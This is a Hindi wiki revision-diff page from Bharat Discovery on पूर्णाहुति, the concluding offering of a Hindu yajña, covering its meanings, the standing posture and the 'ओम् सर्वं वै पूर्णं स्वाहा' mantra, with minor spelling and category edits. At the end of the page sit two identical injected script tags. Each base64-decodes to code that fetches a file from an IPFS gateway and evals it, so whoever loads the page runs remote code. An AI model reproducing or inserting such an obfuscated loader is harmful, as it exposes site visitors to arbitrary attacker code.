"पूर्णाहुति": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (Text replace - "ते है।" to "ते हैं।")
No edit summary
 
(2 सदस्यों द्वारा किए गए बीच के 4 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक [[व्रत]] संस्कार है।  
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक [[व्रत]] संस्कार है।  
*पूर्णाहुति- 'आहत' शब्द 'आहुति' है जिसका बहुवचन आहुति शब्द है।  
*पूर्णाहुति- 'आहत' शब्द 'आहुति' है जिसका बहुवचन आहुति शब्द है।  
*आहुति का दूसरा अर्थ होता है- 'समस्त देवताओं के साथ अपने ईष्ट को नाना प्रकार की सामाग्रियों द्वारा पूजन करना', यह पूर्णाहुति है।  
*आहुति का दूसरा अर्थ होता है- 'समस्त देवताओं के साथ अपने ईष्ट को नाना प्रकार की सामाग्रियों द्वारा पूजन करना', यह पूर्णाहुति है।  
*पूर्णाहुति का तीसरा भाव है- 'जब मनुष्य या देवता अपने किए हुए सत्य कर्मो के द्वारा फल की प्राप्ति नहीं कर पाते है तो वो अपने कार्य की पूर्णता के लिए पूर्णाहुति करते हैं।'  
*पूर्णाहुति का तीसरा भाव है- 'जब मनुष्य या देवता अपने किए हुए सत्य कर्मो के द्वारा फल की प्राप्ति नहीं कर पाते है तो वो अपने कार्य की पूर्णता के लिए पूर्णाहुति करते हैं।'  
*मनुष्य को [[यज्ञ]] के द्वारा अपने परिवार के कल्याण के लिए सत्कर्मो की पूर्णाहुति करनी चाहिए तभी उनको परमानंद की प्राप्ति होती है।   
*मनुष्य को [[यज्ञ]] के द्वारा अपने परिवार के कल्याण के लिए सत्कर्मो की पूर्णाहुति करनी चाहिए तभी उनको परमानंद की प्राप्ति होती है।   
*पूर्णाहुति खड़े होकर (कभी भी बैठकर नहीं) 'मर्धानं दिवो' के साथ आहुति दी जाती है <ref>(ऋग्वेद 6|701, वाज0 संहिता 7|24; तै0 स0 1|4|13|1)। तिथितत्त्व (100); कृत्यकल्पतरु (शान्तिक)</ref>।
*पूर्णाहुति खड़े होकर (कभी भी बैठकर नहीं) 'मर्धानं दिवो' के साथ [[आहुति]] दी जाती है <ref>ऋग्वेद 6|701, वाज0 संहिता 7|24; तै0 स0 1|4|13|1)। तिथितत्त्व (100); कृत्यकल्पतरु (शान्तिक</ref>।
*'ओम् सर्वं वै पूर्णं स्वाहा।।' मन्त्रार्थ- हे सर्वरक्षक, परमेश्वर ! आप की कृपा से निश्चयपूर्वक मेरा आज का यह समग्र यज्ञानुष्ठान पूरा हो गया है। मैं यह पूर्णाहुति प्रदान करता हूँ।
*'ओम् सर्वं वै पूर्णं स्वाहा।।' मन्त्रार्थ- हे सर्वरक्षक, परमेश्वर ! आप की कृपा से निश्चयपूर्वक मेरा आज का यह समग्र यज्ञानुष्ठान पूरा हो गया है। मैं यह पूर्णाहुति प्रदान करता हूँ।
*पूर्णाहुति मन्त्र को तीन बार उच्चारण करना इन भावनाओं का द्योतक है कि शारीरिक, आत्मिक और सामाजिक तथा पृथ्वी, अंतरिक्ष और द्युलोक के उपकार की भावना से एवं आध्यात्मिक सुखों की प्राप्ति हेतु किया गया यह 'अनुष्ठान' पूर्ण होने के बाद सफल सिद्ध हो। इसका उद्देश्य पूर्ण हो। 
*पूर्णाहुति मन्त्र को तीन बार उच्चारण करना इन भावनाओं का द्योतक है कि शारीरिक, आत्मिक और सामाजिक तथा पृथ्वी, अंतरिक्ष और द्युलोक के उपकार की भावना से एवं आध्यात्मिक सुखों की प्राप्ति हेतु किया गया यह 'अनुष्ठान' पूर्ण होने के बाद सफल सिद्ध हो। इसका उद्देश्य पूर्ण हो। 


 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>
पंक्ति 14: पंक्ति 14:
{{पर्व और त्योहार}}
{{पर्व और त्योहार}}
{{व्रत और उत्सव}}
{{व्रत और उत्सव}}
 
[[Category:व्रत और उत्सव]][[Category:संस्कृति कोश]][[Category:पर्व और त्योहार]]
[[Category:व्रत और उत्सव]]
[[Category:संस्कृति कोश]]  
[[Category:पर्व और त्योहार]]
__INDEX__
__INDEX__

12:54, 4 अप्रैल 2013 के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • पूर्णाहुति- 'आहत' शब्द 'आहुति' है जिसका बहुवचन आहुति शब्द है।
  • आहुति का दूसरा अर्थ होता है- 'समस्त देवताओं के साथ अपने ईष्ट को नाना प्रकार की सामाग्रियों द्वारा पूजन करना', यह पूर्णाहुति है।
  • पूर्णाहुति का तीसरा भाव है- 'जब मनुष्य या देवता अपने किए हुए सत्य कर्मो के द्वारा फल की प्राप्ति नहीं कर पाते है तो वो अपने कार्य की पूर्णता के लिए पूर्णाहुति करते हैं।'
  • मनुष्य को यज्ञ के द्वारा अपने परिवार के कल्याण के लिए सत्कर्मो की पूर्णाहुति करनी चाहिए तभी उनको परमानंद की प्राप्ति होती है।
  • पूर्णाहुति खड़े होकर (कभी भी बैठकर नहीं) 'मर्धानं दिवो' के साथ आहुति दी जाती है [1]
  • 'ओम् सर्वं वै पूर्णं स्वाहा।।' मन्त्रार्थ- हे सर्वरक्षक, परमेश्वर ! आप की कृपा से निश्चयपूर्वक मेरा आज का यह समग्र यज्ञानुष्ठान पूरा हो गया है। मैं यह पूर्णाहुति प्रदान करता हूँ।
  • पूर्णाहुति मन्त्र को तीन बार उच्चारण करना इन भावनाओं का द्योतक है कि शारीरिक, आत्मिक और सामाजिक तथा पृथ्वी, अंतरिक्ष और द्युलोक के उपकार की भावना से एवं आध्यात्मिक सुखों की प्राप्ति हेतु किया गया यह 'अनुष्ठान' पूर्ण होने के बाद सफल सिद्ध हो। इसका उद्देश्य पूर्ण हो। 


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. ऋग्वेद 6|701, वाज0 संहिता 7|24; तै0 स0 1|4|13|1)। तिथितत्त्व (100); कृत्यकल्पतरु (शान्तिक

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>